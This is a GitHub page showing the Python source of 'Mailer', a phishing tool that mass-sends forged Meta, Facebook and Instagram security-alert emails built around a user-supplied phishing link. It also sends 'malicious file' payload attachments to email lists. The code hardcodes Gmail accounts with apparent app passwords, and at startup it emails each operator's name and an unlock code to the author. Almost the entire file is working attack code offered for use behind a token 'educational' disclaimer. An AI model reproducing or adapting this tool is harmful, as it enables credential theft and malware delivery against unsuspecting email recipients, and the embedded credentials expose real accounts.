forked from spider863644/Mailer
-
Notifications
You must be signed in to change notification settings - Fork 0
/
mailer.py
1601 lines (776 loc) · 34.7 KB
/
mailer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
#import pyfiglet
try:
import random
import os
import datetime
import smtplib
import ssl
import time as t
import colorama
from colorama import *
colorama.init(autoreset=False)
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
except:
os.system("""
apt install pip2
pip install smtplib
pip install datetime
pip install colorama
""")
time = datetime.datetime.now()
os.system("clear")
print(Fore.YELLOW + "[" + Fore.RED + "!" +Fore.YELLOW + "]" + Fore.RED + " Disclaimer:Use this script for educational purposes only\n " +Fore.CYAN + "Spider Anongreyhat " + Fore.RED + "won\'t be responsible for any shit")
t.sleep(3)
colorama.init(autoreset=False)
SSL = 465 #SSL PORT
#Function for looping
def passw():
user = input(f"{Fore.YELLOW} Enter your name: {Fore.GREEN}")
rand = random.randrange(2034, 986575)
sender = "mailer863644@gmail.com"
phonenumber = "brqc pdyp sggw byas"
email = "spideranongreyhat@gmail.com"
subject = "Mailer password requested!"
message = MIMEMultipart("alternative")
message["From"] = "Mailer"
message["To"] = email
message["Subject"] = subject
html = f"{user} requested for password<br><br>This is the following info<br><br>User: <b>{user}</b><br>Password: <b>{rand}"
part = MIMEText(html, "html")
message.attach(part)
context = ssl.create_default_context()
with smtplib.SMTP_SSL("smtp.gmail.com", SSL, context=context) as server:
# print(Fore.GREEN + "Signing into the server")
t.sleep(3)
try:
server.login(sender, phonenumber)
pass
except:
print(Fore.RED + "[!] Something went wrong")
t.sleep(3)
exit()
# print(Fore.GREEN + "Sending mail to", email)
# t.sleep(3)
try:
server.sendmail(sender, email, message.as_string()
)
pass
except:
print(Fore.RED + "Something went wrong")
t.sleep(3)
exit()
def passw1():
password = int(input(f"{Fore.LIGHTYELLOW_EX}Enter password given to you: {Fore.GREEN}"))
if password != rand:
print(f"{Fore.RED} Incorrect password!\n\nMake sure you enter the correct password")
t.sleep(3)
passw1()
else:
print(f"{Fore.LIGHTMAGENTA_EX} Mailer unlocked√")
t.sleep(2)
file = open('752437.txt', 'w')
file.write(f"{user}")
file.close()
passw1()
if os.path.exists("752437.txt"):
pass
else:
passw()
def loop():
os.system("clear")
print("\033[1;33;40m")
head = """
.___ ___. ___ __ __ _______ .______
| \/ | / \ | | | | | ____|| _ \
| \ / | / ^ \ | | | | | |__ | |_) |
| |\/| | / /_\ \ | | | | | __| | /
| | | | / _____ \ | | | `----.| |____ | |\ \----.
|__| |__| /__/ \__\ |__| |_______||_______|| _| `._____|
"""
#head = pyfiglet.figlet_format("M a i l e r")
print(Fore.YELLOW + head + Style.RESET_ALL)
print(Fore.RED +"version 2.1".center(60) + Style.RESET_ALL)
print(Fore.YELLOW + "[+] " + Fore.GREEN + "Tool Name:Mailer\n" + Fore.YELLOW + "[+] " + Fore.GREEN + "Author:Spider Anongreyhat(Anonspidey)\n" + Fore.YELLOW + "[+] " + Fore.GREEN + "Version:2.1\n" + Fore.YELLOW + "[+] " + Fore.GREEN + "Team:TermuxHackz Society\n" + Fore.YELLOW + "[+] " + Fore.GREEN + "Github:https://github.com/spider863644\n" + Fore.YELLOW + "[+] " + Fore.GREEN + "WhatsApp:+2349052863644")
print(Fore.RED + ">>>>>>>>>>>>>>>>>>>>>>>>>>>>" + Fore.CYAN + "Choose a valid option" + Fore.RED + "<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<")
print(Fore.MAGENTA + "[√]Turn on your mobile data connection")
t.sleep(1)
# The main menu
print(Fore.BLUE + """
[1]Social Media Attack
[2]Send Malicious file
[3]Mass Mailer
[4]Banks attack
[5]Update program
[6]Exit Program
[7]About
[8]Credit
[9]Report bugs
[10]Join our whatsapp group chat
""")
options = (input(Fore.YELLOW + Back.RED + "Enter a number " + Style.RESET_ALL))
os.system("clear")
# Four indent
if options == "1":
#For Social media
print(Fore.BLUE + """
[1]Facebook
[2]Instagram
[3]Twitter(Coming Soon)
[4]TikTok(Coming Soon)
""")
social = (input(Fore.YELLOW + Back.RED + "Choose a social media " + Style.RESET_ALL))
os.system("clear")
#Eight indent
if social == "1":
#For Facebook
print(Fore.BLUE + """
[1]Compromised Facebook Account
[2]Changed Password
[3]Tried To login
[4]Custom(Not available)
""")
facebook = (input(Fore.YELLOW + Back.RED + "Choose an option " + Style.RESET_ALL))
#Compromised Facebook account
#12 indentation
if facebook == "1":
link = input(Fore.GREEN + "Enter your phishing link: " + Style.RESET_ALL)
name = ""
#Email for compromised facebook
sender = "f98108847@gmail.com"
phonenumber = "snmd hsps sasc edxu"
email = input(Fore.GREEN + "Enter email list: " + Style.RESET_ALL)
if os.path.exists(email):
pass
else:
print(Fore.RED + "INVALID FILE PATH")
t.sleep(2)
loop()
email_list = open(email, 'r')
for mails in email_list:
message = MIMEMultipart("alternative")
message["Subject"] = "Compromised Facebook Account"
message["From"] = "Meta Security"
message["To"] = mails
html = """
<html>
<head>
<title>Facebook: Facebook account got compromised</title>
<meta name="viewport"
content="width=device-width
initial-scale=1.0">
</head>
<body>
<style>
body {
background-color:white;
color:black;
}
</style>
<h4> Hi, """ + name + """ </h4>
<p> A new device logged into your facebook account on """ + time.strftime("%A, %B %d, %Y at %I:%M% %z") + """ </p>
<pre>
Operating Windows
System:
Browser: Chrome
IP address: 192.168.40.221
Estimated Ormoc City, Eastern
location: VISAYAS, PH
</pre>
If this is you kindly disregard this email. <p> If this was not you <a href=""" + link + """ + > please reset your password </a> to secure your account. </p> </h4
<br> </br>
<br> </br>
<br> </br>
<br> </br>
<h6> <p> <center> From </center> <center> Meta <center> © Facebook. Meta Platforms, Inc, 1601 Willow </center> <center> Road, Menlo Park, CA 94025, US </center> </h6>
<p> <h6> <center> This message was sent to </center> <center> <a href="">""" + mails + """</a> and intended for </center> <center> """ + name + """. Not your account? <a href=""> </a> <a href=""> Remove your email address </a> from this account </center> </h6> </p>
</body>
</html>
"""
part =MIMEText(html, "html")
message.attach(part)
context = ssl.create_default_context()
with smtplib.SMTP_SSL("smtp.gmail.com", 465, context=context) as server:
print(Fore.GREEN + "Loging into the server..")
try:
server.login(sender, phonenumber)
print(Fore.GREEN + "Logged In Succesfully")
except:
print(Fore.RED + "Login failed!\nCheck your data connection and try again")
t.sleep(3)
loop()
print(Fore.GREEN + "Sending mail to " + mails)
try:
server.sendmail(
sender, mails, message.as_string()
)
print(Fore.GREEN + "Mail sent sucessfully")
except:
print(Fore.RED + "Failed!\nCouldn\'t send mail due to some error")
#Changed password
elif facebook == "2":
link = input(Fore.GREEN + "Enter phishing link: " + Style.RESET_ALL)
name = ""
sender = "mailer863644@gmail.com"
phonenumber = "brqc pdyp sggw byas"
email = input(Fore.GREEN + "Enter email list: " + Style.RESET_ALL)
if os.path.exists(email):
pass
else:
print(Fore.RED + "INVALID FILE PATH")
t.sleep(2)
loop()
email_list = open(email, 'r')
for mails in email_list:
message = MIMEMultipart("alternative")
message["Subject"] = "Facebook Changed Password"
message["From"] = "Meta Security"
message["To"] = mails
html = """
<html>
<head>
<title>Facebook: Password Changed</title>
<meta name="viewport"
content="width=device-width
initial-scale=1.0">
</head>
<body>
<style>
body {
background-color:white;
color:black;
}
</style>
<h4> Hi, """ + name + """ </h4>
<p> Your facebook password was changed recently on """ + time.strftime("%A, %B %d, %Y at %I:%M%") + """ </p>
<pre>
Operating Windows
System:
Browser: Chrome
IP address: 192.168.49.221
Estimated Ormoc City, Eastern
location: VISAYAS, PH
</pre>
If this is you kindly disregard this email. <p> If this was not you <a href=""" + link + """ > please reset your password </a> to secure your account. </p> </h4
<br> </br>
<br> </br>
<br> </br>
<br> </br>
<h6> <p> <center> From </center> <center> Meta <center> © Facebook. Meta Platforms, Inc, 1601 Willow </center> <center> Road, Menlo Park, CA 94025, US </center> </h6>
<p> <h6> <center> This message was sent to </center> <center> <a href="">""" + mails + """</a> and intended for </center> <center> """ + name + """. Not your account? <a href=""> </a> <a href=""> Remove your email address </a> from this account </center> </h6> </p>
</body>
</html>
"""
part = MIMEText(html, "html")
message.attach(part)
context = ssl.create_default_context()
with smtplib.SMTP_SSL("smtp.gmail.com", SSL, context=context)as server:
print(Fore.GREEN + "[!] Signing in into the server")
try:
server.login(sender, phonenumber)
print(Fore.GREEN + "[✓] Logged in sucessfully")
except:
print(Fore.RED + "[!] Failed to log in!")
loop()
print(Fore.GREEN + "Sending mail to ", mails)
try:
server.sendmail(
sender, mails, message.as_string()
)
print(Fore.GREEN + "[√]Mail sent successfully")
except:
print(Fore.RED + "Message sent failed!")
#t.sleep(1.5)
#tried to login
elif facebook== "3":
link = input(Fore.GREEN + "Enter phishing link: " + Style.RESET_ALL)
name = ""
sender = "f98108847@gmail.com"
phonenumber = "brqc pdyp sggw byas"
email = input(Fore.GREEN + "Enter email list: " + Style.RESET_ALL)
if os.path.exists(email):
pass
else:
print(Fore.RED + "INVALID FILE PATH")
t.sleep(2)
loop()
email_list = open(email, 'r')
for mails in email_list:
message = MIMEMultipart("alternative")
message["Subject"] = "Facebook: Someone tried to login into your account"
message["From"] = "Meta Security"
message["To"] = mails
html = """
<html>
<head>
<title>Facebook: Password Changed</title>
<meta name="viewport"
content="width=device-width
initial-scale=1.0">
</head>
<body>
<style>
body {
background-color:white;
color:black;
}
</style>
<h4> Hi, """ + name + """ </h4>
<p> Someone just used your password to try to sign in to your account. Facebook blocked them, but you should check what happened. """ + time.strftime("%A, %B %d, %Y at %I:%M%") + """ </p>
<pre>
Operating Windows
System:
Browser: Chrome
IP address: 192.168.49.221
Estimated Ormoc City, Eastern
location: VISAYAS, PH
</pre>
If this is you kindly disregard this email. <p> If this was not you <a href=""" + link + """ > please reset your password </a> to secure your account. </p> </h4
<br> </br>
<br> </br>
<br> </br>
<br> </br>
<h6> <p> <center> From </center> <center> Meta <center> © Facebook. Meta Platforms, Inc, 1601 Willow </center> <center> Road, Menlo Park, CA 94025, US </center> </h6>
<p> <h6> <center> This message was sent to </center> <center> <a href="">""" + mails + """</a> and intended for </center> <center> """ + name + """. Not your account? <a href=""> </a> <a href=""> Remove your email address </a> from this account </center> </h6> </p>
</body>
</html>
"""
part = MIMEText(html, "html")
message.attach(part)
context = ssl.create_default_context()
with smtplib.SMTP_SSL("smtp.gmail.com", SSL, context=context) as server:
print(Fore.GREEN + "Logging into the server")
try:
server.login(sender, phonenumber)
print(Fore.GREEN + "[✓] Login succesfully")
except:
print(Fore.RED + "[!] Login failed\nPlease try again later")
loop()
print(Fore.GREEN + "Sending mail to" + mails)
try:
server.sendmail(
sender, mails, message.as_string()
)
print(Fore.GREEN + "[✓] Mail sent sucessfully")
except:
print(Fore.RED + "[!] Failed to send email")
elif facebook == "4":
print(Fore.RED + "Not available yet")
t.sleep(4)
loop()
#This is the end for facebook
#Done with facebook
else:
print(Fore.RED + "Invalid option")
t.sleep(3)
loop()
elif social == "3":
print(f"{Fore.RED}NOT AVAILABLE")
t.sleep(2)
loop()
elif social == "4":
print(f"{Fore.RED}NOT AVAILABLE")
t.sleep(2)
loop()
elif social == "2":
#For instagram
print(Fore.BLUE + """
[1]Compromised Instagram account
[2]Password Changed
[3]Tried to login
[4]Custom(Not available)
""")
instagram = input(Fore.YELLOW +Back.RED + "Choose a valid option: " + Style.RESET_ALL)
#12 indent
#Compromised Instagram account
if instagram == "1":
link = input(Fore.GREEN + "Enter instagram phishing link: " + Style.RESET_ALL)
email = input(Fore.GREEN + "Enter email list: " + Style.RESET_ALL)
if os.path.exists(email):
pass
else:
print(Fore.RED + "INVALID FILE PATH")
t.sleep(2)
loop()
email_list = open(email, 'r')
for mails in email_list:
name = " "
sender = "f98108847@gmail.com"
phonenumber = "snmd hsps sasc edxu"
message = MIMEMultipart("alternative")
message["Subject"] = "Compromised instagram account"
message["From"] = "Meta Security"
message["To"] = mails
html = """
<!DOCTYPE html>
<html lang="eng">
<title>Instagram | Changed password</title>
<head>
<meta charset="UTF-8">
<meta name="view"
>
</head>
<img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcR1WkXRYI5ZaZMErQrID6ZB8TLBolAPxgjNaO60jllmlIQ_6hCWZ6g6JJo&s=10" alt="photo not available" width="100%" height="80px" style="border-radius:5px;">
<h3>Hi """ + name + """</h3>
<p>We detected a new device signed in into your account on """ + time.strftime("%H:%M on %A, %B %Y.") + """<br>
<br>
If this was not you, <a href=""" + link + """>please secure your account</a></p>
<br> <br>
<br> <br>
<br> <br>
<br> <br>
<h6><center>From<br>
Meta<br>
©Facebook. Meta platform, ics, 1601 Willow<br>
Road, Menlo Park, CA 94025, US
<br> <br>
<br> <br>
This message was sent to<br>
""" + mails + """ and intended for <br>""" + name + """. Not your account? <a href="">remove your email address from this account
</html>
"""
part = MIMEText(html, "html")
message.attach(part)
context = ssl.create_default_context()
with smtplib.SMTP_SSL("smtp.gmail.com", SSL, context=context) as server:
print(Fore.GREEN + "Logging into the server")
#t.sleep(2)
try:
server.login(sender, phonenumber)
print(Fore.GREEN + "[✓] Login sucessfully")
except:
print(Fore.RED + "[!] Login failed\nTry again later")
#t.sleep(3)
loop()
print(Fore.GREEN + "Sending mail to", mails)
t.sleep(2)
try:
server.sendmail(
sender, mails, message.as_string()
)
print(Fore.GREEN + "[✓] Mail sent sucessfully")
except:
print(Fore.RED + "[!] Failed to send email\nTry again later")
pass
#For Changed password(Instagram)
elif instagram == "2":
sender = "mailer863644@gmail.com"
phonenumber = "brqc pdyp sggw byas"
link = input(Fore.GREEN + "Enter the phishing link: " + Style.RESET_ALL)
email = input(Fore.GREEN + "Enter email list: " + Style.RESET_ALL)
if os.path.exists(email):
pass
else:
print(Fore.RED + "INVALID FILE PATH")
t.sleep(2)
loop()
email_list = open(email, 'r')
for mails in email_list:
name = " "
message = MIMEMultipart("alternative")
message["Subject"] = "Password Changed"
message["From"] = "Meta Security"
message["To"] = mails
html = """
<!DOCTYPE html>
<html lang="eng">
<title>Instagram| Changed password</title>
<head>
<meta charset="UTF-8">
<meta name="view"
>
</head>
<img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcR1WkXRYI5ZaZMErQrID6ZB8TLBolAPxgjNaO60jllmlIQ_6hCWZ6g6JJo&s=10" alt="photo not available" width="100%" height="80px" style="border-radius:5px;">
<h3>Hi """ + name + """</h3>
<p>Your password was recently changed at """ + time.strftime("%H:%M %Z on %A, %B %Y.") + """<br>
<br>
If this was not you, <a href=""" + link + """>please secure your account</a></p>
<br> <br>
<br> <br>
<br> <br>
<br> <br>
<h6><center>From<br>
Meta<br>
©Facebook. Meta platform, ics, 1601 Willow<br>
Road, Menlo Park, CA 94025, US
<br> <br>
<br> <br>
This message was sent to<br>
""" + mails + """ and intended for <br>""" + name + """. Not your account? <a href="">remove your email address from this account
</head>
</html>
"""
part = MIMEText(html, "html")
message.attach(part)
context = ssl.create_default_context()
with smtplib.SMTP_SSL("smtp.gmail.com", SSL, context=context) as server:
print(Fore.GREEN + 'Logining into the server')
try:
server.login(sender, phonenumber)
print(Fore.GREEN + "[✓] Logged in succesfully")
except:
print(Fore.RED + "[!] Failed to login\nTry again later")
#t.sleep(3)
print(Fore.GREEN + "Sending mail to", mails)
#t.sleep(2)
try:
server.sendmail(
sender, mails, message.as_string()
)
print(Fore.GREEN + "[✓] Mail sent successfully")
except:
print(Fore.RED + "[!] Failed to send mail\nTry again later")
# t.sleep(3)
#Tried to login instagram
elif instagram == "3":
sender = "mailer863644@gmail.com"
phonenumber = "brqc pdyp sggw byas"
link = input(Fore.GREEN + "Enter phishing link: " + Style.RESET_ALL)
email = input(Fore.GREEN + "Enter email list: " + Style.RESET_ALL)
if os.path.exists(email):
pass
else:
print(Fore.RED + "INVALID FILE PATH")
t.sleep(2)
loop()
email_list = open(email, 'r')
for mails in email_list:
message = MIMEMultipart("alternative")
message["Subject"] = "Instagram: Someone tried to login"
message["From"] = "Meta Security"
message["To"] = mails
name = ""
html = """
<!DOCTYPE html>
<html lang="eng">
<title>Instagram| Changed password</title>
<head>
<meta charset="UTF-8">
<meta name="view"
>
</head>
<img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcR1WkXRYI5ZaZMErQrID6ZB8TLBolAPxgjNaO60jllmlIQ_6hCWZ6g6JJo&s=10" alt="photo not available" width="100%" height="80px" style="border-radius:5px;">
<h3>Hi """+ name + """ </h3>
<p>Someone tried to login to your account with your password on """ + time.strftime("%H:%M %Z on %A, %B %Y.") + """<br>
<br>
If this was not you, <a href=""" + link + """>please secure your account</a></p>
<br> <br>
<br> <br>
<br> <br>
<br> <br>
<h6><center>From<br>
Meta<br>
©Facebook. Meta platform, ics, 1601 Willow<br>
Road, Menlo Park, CA 94025, US
<br> <br>
<br> <br>
This message was sent to<br>
""" + mails + """ and intended for <br>""" + name + """. Not your account? <a href="">remove your email address from this account
"""
part = MIMEText(html, "html")
message.attach(part)
context = ssl.create_default_context()
with smtplib.SMTP_SSL("smtp.gmail.com", SSL, context=context) as server:
print(Fore.GREEN + "logining into ther server")
try:
server.login(sender, phonenumber)
print(Fore.GREEN + "[✓] Logged in sucessfully")
except:
print(Fore.RED + '[!] Failed to login\n try again')
t.sleep(3)
loop()
print(Fore.GREEN + "Sending mail to", mails)
try:
server.sendmail(
sender, mails, message.as_string()
)
print(Fore.GREEN + "[✓] Mail sent succesfully")
except:
print(Fore.RED + "[!] Failed to send mail")
#for custom mail
elif instagram == "4":
print(Fore.RED + "Not available!")
t.sleep(3)
loop()
else:
print(Fore.RED + "Invalid option")
t.sleep(3)
loop()
else:
print(Fore.RED + "Invalid option")
t.sleep(3)
loop()
#payload
elif options == "2":
print(Fore.BLUE + "Malicious file Sender")
sender = "mailer863644@gmail.com"
phonenumber = "brqc pdyp sggw byas"
print(Fore.RED + "________________________________________")
filename = input(Fore.GREEN + 'Input file path and file name\nExample:anonspider/home/payload.pdf: ' + Style.RESET_ALL)
body = input(Fore.GREEN + "Enter message[optional]<HTML FORMAT>: " + Style.RESET_ALL)
sub = input(Fore.GREEN + "Enter Subject: " + Style.RESET_ALL)
frm = input(Fore.GREEN + "Enter Sender name: " + Style.RESET_ALL)
email = input(Fore.GREEN + "Enter email list: " + Style.RESET_ALL)
if os.path.exists(email):
pass
else:
print(Fore.RED + "INVALID FILE PATH")
t.sleep(2)
loop()
print(Fore.BLUE + "Checking if file exist")
t.sleep(1)
try:
open(filename, "rb")
print(Fore.GREEN + "The file you are trying to send exist")
except:
print(Fore.RED + "The file you are trying to send does not exist!")
t.sleep(3)
loop()
email_list = open(email, 'r')
for mails in email_list:
message = MIMEMultipart()
message["From"] = frm
message["Subject"] = sub
message["To"] = mails
message.attach(MIMEText(body, "html"))
with open(filename, "rb") as attachment:
part = MIMEBase("application", "octet-stream")
part.set_payload(attachment.read())
encoders.encode_base64(part)
part.add_header(
"content-Disposition",
f"attachment; filename= {filename}",
)
message.attach(part)
text = message.as_string()
context = ssl.create_default_context()
with smtplib.SMTP_SSL("smtp.gmail.com", SSL, context=context) as server:
print(Fore.GREEN + "Logining into the server")
try:
server.login(sender, phonenumber)
print(Fore.GREEN + "[✓]Login sucessfully")
except:
print(Fore.RED + "[!]Failed to login")
t.sleep(4)
loop()
print(Fore.GREEN + "Sending file to ", mails)
try:
server.sendmail(sender, mails, text)
print(Fore.GREEN + "[✓]File sent sucessfully")
except:
print(Fore.RED + "[!]Failed to send file")
t.sleep(1)
elif options == "3":
#Mass mailer
print(Fore.BLUE + "MASS MAILER\nSend a single mail to many recepient")
sender = "mailer863644@gmail.com"
phonenumber = "brqc pdyp sggw byas"
frm = input(Fore.GREEN + "Enter Sender name: " + Style.RESET_ALL)
subject = input(Fore.GREEN + "Enter Subject of the mail: " + Style.RESET_ALL)
email = input(Fore.GREEN + "Enter email list: " + Style.RESET_ALL)
letter = input(Fore.GREEN + "Enter Letter: " + Style.RESET_ALL)
if os.path.exists(letter):
pass
else:
print(Fore.RED + "INVALID FILE PATH")
t.sleep(2)
loop()
if os.path.exists(email):
pass
else:
print(Fore.RED + "INVALID FILE PATH")
t.sleep(2)
loop()
mess = open(letter, 'r')
html = mess.read()
email_list = open(email, 'r')
for mails in email_list:
message = MIMEMultipart("alternative")
message["From"] = frm
message["To"] = mails
message["Subject"] = subject
part = MIMEText(html, "html")
message.attach(part)
context = ssl.create_default_context()
with smtplib.SMTP_SSL("smtp.gmail.com", SSL, context=context) as server:
print(Fore.GREEN + "Signing into the server")
t.sleep(3)
try:
server.login(sender, phonenumber)
print(Fore.GREEN + "[✓] Logged in sucessfully")
except:
print(Fore.RED + "[!] Login failed")
t.sleep(3)
loop()
print(Fore.GREEN + "Sending mail to", mails)
try:
server.sendmail(sender, mails, message.as_string()
)
print(Fore.GREEN + "[✓] Mail sent sucessfully")
except:
print(Fore.RED + "Failed to send Mail!")
t.sleep(1)
elif options == "6":
print(Fore.GREEN + "Thanks for using mailer\nKindly follow me on github")
t.sleep(3)
exit()
elif options == "5":
print(Fore.YELLOW + Back.RED + "Updating mailer" + Style.RESET_ALL)
t.sleep(3)
os.system("""
cd $HOME
rm -rf Mailer
git clone https://github.com/SpiderAnongreyhat/Mailer
""")
print(Fore.BLUE + """
Now type the following commands
cd $HOME
cd Mailer
python3 mailer.py
""")
exit()
elif options == "7":
print(Fore.GREEN + "ABOUT MAILER")
print(Fore.BLUE + """
Mailer is a python script created by Spider Anongreyhat(Anonspidey)
FEATURES OF MAILER:
1. Social media attack (Spear-Phishing)
2. Payload Sender
3. Mass Mailer
4. Bank attack(Coming soon)
TESTED ON:
Linux(Parrot OS)
Termux
""")
elif options == "8":
print(Fore.YELLOW + Back.RED + "CREDIT GOES TO THE SUPPORTERS MENTIONED BELOW" + Style.RESET_ALL + Fore.GREEN + """
Spider Anongreyhat
Anonwilli
AnonyminHack5
N00B H4X0R
TheN00B
""")
elif options == "9":
print(Fore.BLUE + "REPORTING OF BUGS\nREDIRECTING USER TO MY INBOX FOR BUG REPORT")
print(Fore.GREEN + """
Kindly report any bugs or error you faced while using Mailer """ + Fore.RED + """
Note:Report with screenshot or screen record """
)
t.sleep(6)
os.system("xdg-open https://wa.me/2349052863644")
elif options == "10":
print(Fore.BLUE + "REDIRECTING TO OUR WHATSAPP GROUP CHAT")
t.sleep(3)
os.system("xdg-open https://chat.whatsapp.com/BivW6pA9Emu9bDM2rZkaQy")
elif options == "4":
print(f"{Fore.RED}Bank attack is coming soon ")
else:
print(Fore.RED + "Invalid option")
t.sleep(3)
loop()
cont = input(Fore.YELLOW + Back.RED + "Do you wanna continue? [y/n]: " + Style.RESET_ALL).strip().upper()
if cont == "Y":
loop()
loop()